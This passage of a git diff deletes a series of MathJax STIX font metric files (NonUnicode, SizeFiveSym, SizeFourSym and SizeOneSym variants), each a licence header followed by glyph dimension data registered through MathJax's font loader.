[676,0,787,50,737],58251:[676,0,729,75,669],58253:[676,0,650,75,595],58254:[676,0,474,75,595],58255:[691,19,751,45,686],58256:[676,0,380,80,300],58257:[676,19,618,50,548],58258:[676,0,792,75,767],58259:[676,0,662,70,607],58260:[676,0,914,75,839],58261:[691,19,787,45,742],58262:[692,19,702,45,657],58263:[676,0,556,25,645],58264:[676,19,738,70,668],58265:[676,0,627,17,704],58266:[676,0,996,17,1015],58267:[676,0,794,20,769],58268:[676,0,652,23,739],58269:[473,14,623,50,563],58270:[676,14,643,60,593],58271:[473,14,574,50,524],58274:[676,0,474,25,536],58275:[473,205,643,50,583],58276:[676,0,624,60,564],58279:[676,0,646,60,621],58280:[676,0,325,60,265],58281:[473,0,908,60,848],58282:[473,0,624,60,564],58283:[473,14,598,45,553],58284:[473,205,643,60,593],58285:[473,205,643,50,583],58286:[473,0,339,60,445],58287:[473,14,549,52,497],58288:[676,14,446,25,411],58289:[461,16,619,55,559],58290:[461,0,494,6,544],58291:[461,0,786,22,789],58292:[461,0,660,25,635],58293:[461,205,471,-9,537],58294:[461,0,513,40,473],58295:[681,11,525,40,482],58296:[681,0,525,90,450],58297:[681,0,525,52,470],58298:[681,11,525,43,479],58299:[682,0,525,29,493],58300:[670,11,525,52,470],58301:[681,11,525,43,479],58302:[686,11,525,43,479],58303:[681,11,525,43,479],58304:[681,11,525,43,479],58307:[747,243,750,68,683],58308:[747,243,750,68,683]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Bold/PrivateUse.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/All.js
deleted file mode 100644
index afea3026..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold-italic"],{32:[0,0,250,0,0],160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/BoldItalic/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/Main.js
deleted file mode 100644
index 102fcae8..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold-italic"]={directory:"NonUnicode/BoldItalic",family:"STIXNonUnicode",weight:"bold",style:"italic",Ranges:[[32,32,"All"],[160,160,"All"],[57344,63743,"PrivateUse"]]};MathJax.OutputJax["HTML-CSS"].initFont("STIXNonUnicode-bold-italic");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/BoldItalic/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/PrivateUse.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/PrivateUse.js
deleted file mode 100644
index 42624e13..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/PrivateUse.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/BoldItalic/PrivateUse.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-bold-italic"],{57500:[775,235,776,40,765],57501:[775,235,759,44,779],57502:[775,235,658,44,771],57523:[703,205,556,-188,517],57846:[688,13,500,89,578],57847:[688,0,500,204,505],57848:[688,0,500,20,581],57849:[688,13,500,32,586],57850:[688,0,500,55,583],57851:[676,13,500,27,651],57852:[688,13,500,80,638],57853:[676,0,500,120,639],57854:[688,13,500,63,594],57855:[688,13,500,28,588],57856:[669,0,733,7,667],57857:[669,0,729,18,714],57859:[669,0,680,18,703],57860:[669,0,474,18,703],57861:[685,14,718,35,708],57862:[669,0,382,22,411],57863:[669,14,603,19,644],57864:[669,0,766,18,766],57865:[669,0,613,18,568],57866:[669,0,912,26,943],57867:[685,14,749,35,734],57868:[685,14,686,30,711],57869:[669,0,445,30,653],57870:[669,14,709,35,755],57871:[669,0,504,42,705],57872:[669,0,891,81,991],57873:[669,0,759,7,832],57874:[669,0,462,10,714],57875:[462,13,634,45,589],57876:[699,13,661,34,619],57877:[462,13,571,45,545],57879:[462,13,575,45,540],57880:[699,0,438,45,618],57881:[462,205,666,28,642],57882:[699,0,661,34,616],57885:[699,0,641,34,616],57886:[699,0,372,34,413],57887:[462,0,942,35,897],57888:[462,0,661,34,616],57889:[462,13,586,45,551],57890:[462,205,680,3,645],57891:[462,205,662,45,630],57892:[462,0,403,33,538],57893:[462,13,533,33,519],57894:[676,14,403,22,422],57895:[449,13,661,45,627],57896:[449,0,477,32,534],57897:[449,0,733,55,763],57898:[449,0,562,-12,589],57899:[449,205,584,-9,643],57900:[449,0,619,35,594],57927:[711,47,871,38,834],57928:[703,10,755,33,740],57929:[704,12,667,36,669],57930:[696,0,802,30,808],57931:[704,8,609,41,626],57932:[696,0,645,34,738],57933:[704,144,615,43,615],57934:[696,24,849,22,858],57935:[696,0,621,36,623],57936:[695,116,645,36,811],57937:[703,14,856,38,820],57938:[704,8,726,38,688],57939:[705,45,1186,38,1146],57940:[835,39,997,36,1098],57941:[707,10,772,43,782],57942:[696,0,645,36,731],57943:[704,145,778,43,737],57944:[697,13,869,36,831],57945:[705,7,667,36,699],57946:[783,0,547,33,747],57947:[700,14,787,33,936],57948:[711,31,652,36,706],57949:[711,34,956,36,1010],57950:[710,14,720,36,781],57951:[711,144,720,36,773],57952:[702,98,778,36,744],57956:[473,10,600,47,554],57960:[473,0,600,95,450],57964:[473,0,600,54,531],57968:[463,217,600,31,547],57972:[450,217,600,30,564],57976:[450,218,600,25,561],57980:[670,10,600,55,545],57984:[450,217,600,24,582],57988:[670,10,600,41,560],57992:[463,217,600,49,539],58005:[775,235,776,40,739],58007:[775,235,762,44,747],58009:[775,235,711,57,753],58011:[775,235,870,44,840],58013:[775,235,759,44,779],58015:[775,235,658,44,771],58017:[775,235,789,57,787],58019:[775,235,915,44,940],58021:[775,235,502,46,525],58023:[775,235,648,68,688],58025:[775,207,814,44,838],58027:[775,235,764,44,718],58029:[775,235,1044,44,1069],58031:[775,235,857,44,882],58033:[775,235,802,57,777],58035:[775,207,626,19,790],58037:[775,245,834,57,777],58039:[775,235,783,44,757],58041:[775,235,589,57,621],58043:[775,235,562,30,696],58045:[775,235,745,74,813],58047:[775,235,597,66,774],58049:[775,235,980,66,1131],58051:[775,235,803,34,819],58053:[775,235,569,25,706],58055:[775,235,720,42,701],58057:[775,235,630,46,595],58059:[775,235,585,57,564],58061:[775,235,511,33,506],58063:[775,235,646,31,638],58065:[775,235,512,44,516],58067:[775,235,654,-29,762],58069:[775,235,601,24,599],58071:[775,235,611,35,577],58073:[775,207,373,34,488],58075:[775,235,600,-29,763],58077:[775,235,622,35,660],58079:[775,207,381,30,484],58081:[775,235,873,35,838],58083:[775,235,611,35,581],58085:[775,235,571,46,548],58087:[775,235,636,-25,649],58089:[775,207,580,46,568],58091:[775,235,437,35,567],58093:[775,235,512,42,515],58095:[775,207,411,32,486],58097:[775,235,632,60,597],58099:[775,207,554,52,558],58101:[775,207,814,17,799],58103:[775,235,647,35,622],58105:[775,207,599,20,640],58107:[775,235,531,35,555],58157:[775,207,671,46,675],58159:[775,207,664,-65,706],58161:[775,207,588,-100,671],58163:[775,207,571,46,547],58165:[775,207,508,44,515],58167:[775,207,505,-54,629],58169:[775,207,579,20,583],58171:[775,207,615,46,602],58173:[775,207,355,29,483],58175:[775,207,594,35,656],58177:[775,207,598,18,642],58179:[775,207,697,-34,737],58181:[775,207,571,35,584],58183:[775,207,504,-54,629],58185:[775,235,500,32,506],58187:[775,207,652,1,772],58189:[775,207,636,27,652],58191:[775,207,504,23,514],58193:[775,207,595,46,641],58195:[775,207,474,20,521],58197:[775,207,582,20,584],58199:[775,207,726,1,772],58201:[775,207,622,-41,730],58203:[775,207,720,37,808],58205:[775,207,782,24,795],58207:[775,207,608,20,681],58209:[775,207,727,0,771],58211:[775,207,925,6,978],58215:[775,235,475,-35,509],58219:[775,235,525,-68,651],58223:[775,235,485,16,466],58227:[775,235,530,12,731],58229:[775,235,569,-50,592],58231:[775,207,571,46,547],58233:[775,207,601,46,579],58235:[775,207,525,46,543],58238:[775,235,792,-40,777],58240:[707,14,670,10,662],58242:[707,14,622,14,598],58244:[628,14,411,18,390],58246:[473,14,355,15,338],58248:[707,14,598,18,563],58249:[666,0,480,16,472],58309:[462,207,514,47,475],58310:[462,9,357,55,274]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/BoldItalic/PrivateUse.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/All.js
deleted file mode 100644
index 604889f2..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXNonUnicode-italic"],{32:[0,0,250,0,0],160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Italic/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/Main.js
deleted file mode 100644
index f62469eb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/PrivateUse.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/PrivateUse.js
deleted file mode 100644
index ab7782f7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/PrivateUse.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Italic/PrivateUse.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/All.js
deleted file mode 100644
index 1ecbae29..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXNonUnicode,{32:[0,0,250,0,0],160:[0,0,250,0,0]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/Main.js
deleted file mode 100644
index 969e7e6f..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXNonUnicode={directory:"NonUnicode/Regular",family:"STIXNonUnicode",Ranges:[[32,32,"All"],[160,160,"All"],[57344,63743,"PrivateUse"]],57344:[610,25,1184,829,895],57345:[667,-41,1184,829,1211],57656:[634,-584,480,-10,490],57657:[-127,177,480,-10,490],57659:[955,-512,897,-25,908],57660:[955,-512,897,-11,922],57661:[182,261,897,-25,908],57662:[182,261,897,-11,922],57664:[1218,-820,1844,-10,1854],57665:[-126,524,1844,-10,1854],57674:[955,-820,633,-1,634],57675:[-126,261,633,-1,634],57953:[422,10,523,41,481],57957:[421,0,523,127,405],57961:[421,0,523,68,455],57965:[424,198,523,47,463],57969:[420,198,523,58,480],57973:[421,198,523,66,457],57977:[612,8,523,37,486],57981:[421,198,523,25,490],57985:[606,12,523,47,477],57989:[421,200,523,41,483],57999:[135,0,325,-1,326],58000:[135,0,633,-1,634]};MathJax.OutputJax["HTML-CSS"].initFont("STIXNonUnicode");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/NonUnicode/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/PrivateUse.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/PrivateUse.js
deleted file mode 100644
index 74a86d7b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/PrivateUse.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/NonUnicode/Regular/PrivateUse.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/All.js
deleted file mode 100644
index 2d3825bf..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeFiveSym,{710:[816,-572,2328,0,2328],711:[816,-572,2328,0,2328],732:[780,-617,2328,0,2328],759:[-117,280,2328,0,2328],773:[820,-770,0,-3000,0],780:[816,-572,0,-2485,-157],816:[-117,280,0,-2485,-157],818:[-127,177,0,-3000,0],824:[960,454,0,-561,-123],8254:[820,-770,3000,0,3000],8400:[749,-584,0,-3000,0],8401:[749,-584,0,-3000,0],8406:[735,-482,0,-3000,0],8407:[735,-482,0,-3000,0],8428:[-123,288,0,-3000,0],8429:[-123,288,0,-3000,0],8430:[-26,279,0,-3000,0],8431:[-26,279,0,-3000,0],9140:[766,-544,3237,90,3147],9141:[139,83,3237,90,3147],9180:[80,189,3237,0,3237],9181:[842,-573,3237,0,3237],9184:[66,212,3164,0,3164],9185:[842,-564,3164,0,3164]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeFiveSym/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/Main.js
deleted file mode 100644
index c2263c67..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFiveSym/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeFiveSym={directory:"SizeFiveSym/Regular",family:"STIXSizeFiveSym",Ranges:[[688,767,"All"],[768,824,"All"],[8254,8254,"All"],[8400,8431,"All"],[9115,9145,"All"],[9180,9185,"All"]],32:[0,0,250,0,0],95:[-127,177,3000,0,3000],160:[0,0,250,0,0],770:[816,-572,0,-2485,-157],771:[780,-617,0,-2485,-157],9182:[181,90,3238,0,3238],9183:[844,-573,3238,0,3238]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeFiveSym");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeFiveSym/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Bold/Main.js
deleted file mode 100644
index f72cb2ff..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXSizeFourSym-bold"]={directory:"SizeFourSym/Bold",family:"STIXSizeFourSym",weight:"bold",32:[0,0,250,0,0],40:[2604,471,818,115,761],41:[2604,471,818,57,703],47:[2604,471,1321,3,1318],91:[2604,471,699,314,691],92:[2604,471,1321,3,1318],93:[2604,471,699,8,385],123:[2604,471,1119,197,944],125:[2604,471,1119,175,922],160:[0,0,250,0,0],8730:[1510,345,1184,101,915],8968:[2604,471,720,314,712],8969:[2604,471,720,8,406],8970:[2604,471,720,314,712],8971:[2604,471,720,8,406],10216:[2604,471,908,120,841],10217:[2604,471,908,67,788]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeFourSym-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeFourSym/Bold/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/All.js
deleted file mode 100644
index 7aaec351..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeFourSym,{710:[796,-573,1886,0,1886],711:[796,-573,1886,0,1886],732:[771,-608,1886,0,1886],759:[-117,280,1886,0,1886],773:[820,-770,0,-2500,0],780:[796,-573,0,-2040,-154],816:[-117,280,0,-2040,-154],818:[-127,177,0,-2500,0],824:[731,228,0,-490,-169],8254:[820,-770,2500,0,2500],8400:[749,-584,0,-2193,-13],8401:[749,-584,0,-2193,-13],8406:[735,-482,0,-2193,-13],8407:[735,-482,0,-2193,-13],8428:[-123,288,0,-2193,-13],8429:[-123,288,0,-2193,-13],8430:[-26,279,0,-2193,-13],8431:[-26,279,0,-2193,-13],8731:[1795,345,1184,112,895],8732:[1790,345,1184,112,895],9140:[766,-544,2692,84,2608],9141:[139,83,2692,84,2608],9180:[76,168,2328,0,2328],9181:[817,-573,2328,0,2328],9184:[66,212,2738,0,2738],9185:[842,-564,2738,0,2738],10098:[2566,509,1031,320,959],10099:[2566,509,1031,72,711],10214:[2566,509,778,295,708],10215:[2566,509,778,70,483],10218:[2566,509,1273,126,1133],10219:[2566,509,1273,140,1147],10627:[2566,509,1225,182,1052],10628:[2566,509,1225,173,1043],10629:[2566,509,1175,195,1050],10630:[2566,509,1175,194,1049]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeFourSym/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/Main.js
deleted file mode 100644
index 3eef6701..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeFourSym/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeFourSym={directory:"SizeFourSym/Regular",family:"STIXSizeFourSym",Ranges:[[688,767,"All"],[768,824,"All"],[8254,8254,"All"],[8400,8431,"All"],[8730,8732,"All"],[9115,9145,"All"],[9180,9185,"All"],[10098,10099,"All"],[10214,10219,"All"],[10627,10630,"All"]],32:[0,0,250,0,0],40:[2566,509,808,124,732],41:[2566,509,808,76,684],47:[2566,509,1309,16,1293],91:[2566,509,661,295,634],92:[2566,509,1309,16,1293],93:[2566,509,661,27,366],95:[-127,177,2500,0,2500],123:[2566,509,1076,173,882],125:[2566,509,1076,194,903],160:[0,0,250,0,0],770:[796,-573,0,-2040,-154],771:[771,-608,0,-2040,-154],8730:[1510,345,1184,112,895],8968:[2566,509,682,295,655],8969:[2566,509,682,27,387],8970:[2566,509,682,295,655],8971:[2566,509,682,27,387],9182:[175,90,2328,0,2328],9183:[837,-572,2328,0,2328],10216:[2566,509,908,113,796],10217:[2566,509,908,112,795]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeFourSym");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeFourSym/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/All.js
deleted file mode 100644
index 2b5be641..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXSizeOneSym-bold"],{8512:[1500,-22,1341,60,1281]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeOneSym/Bold/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/Main.js
deleted file mode 100644
index a0df4202..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXSizeOneSym-bold"]={directory:"SizeOneSym/Bold",family:"STIXSizeOneSym",weight:"bold",Ranges:[[8512,8512,"All"]],32:[0,0,250,0,0],40:[1104,126,468,158,439],41:[1104,126,468,29,310],47:[1104,126,579,14,564],91:[1104,126,408,186,407],92:[1104,126,579,14,564],93:[1104,126,408,1,222],123:[1104,126,595,115,503],125:[1104,126,595,92,480],160:[0,0,250,0,0],8719:[1500,-49,1355,35,1321],8720:[1500,-49,1355,34,1320],8721:[1500,-49,1292,60,1215],8730:[1588,241,1061,109,1119],8968:[1104,126,476,186,470],8969:[1104,126,476,6,292],8970:[1104,126,476,184,470],8971:[1104,126,476,6,290],10216:[1104,126,579,99,481],10217:[1104,126,579,98,480]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeOneSym-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeOneSym/Bold/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/All.js
deleted file mode 100644
index 9399da60..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
